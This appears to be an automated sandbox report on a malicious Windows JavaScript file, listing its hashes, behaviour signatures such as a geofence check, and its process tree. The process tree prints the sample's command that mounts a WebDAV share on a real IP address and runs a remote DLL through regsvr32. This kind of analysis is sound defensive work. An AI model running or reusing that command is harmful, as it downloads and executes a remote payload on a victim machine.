Analysis

  • max time kernel
    142s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/07/2024, 02:47

General

  • Target

    b3de0b2ad947d5b6d324f687d7c2ee1109baa94bf17cec54553575a91728eb60.js

  • Size

    5KB

  • MD5

    25653b2119f5c6e1a2279bcba9a2ff4f

  • SHA1

    ffe44e7d7e4628ed2972306046851ede6ec8926a

  • SHA256

    b3de0b2ad947d5b6d324f687d7c2ee1109baa94bf17cec54553575a91728eb60

  • SHA512

    54d1af2d13e9dcd031b7d283f87489dea6311e85e13df73561876cac537efcb9a0483de07c488fb9ad13a13d6a9c33fbedcde776e2af74fed1ae447fe5f65ced

  • SSDEEP

    96:Bx11vkh4ngV3VG1iqAXuCt6MqJJO24xQxmKGehOWM4NMHPXiakPsdiadXPObPBPf:Bx11vkh4ngV3VG1iqAXuCt6MqJJV4SxD

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\b3de0b2ad947d5b6d324f687d7c2ee1109baa94bf17cec54553575a91728eb60.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4236
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\747832556940.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4852
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:4288

    Network

          MITRE ATT&CK Enterprise v15

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          Downloads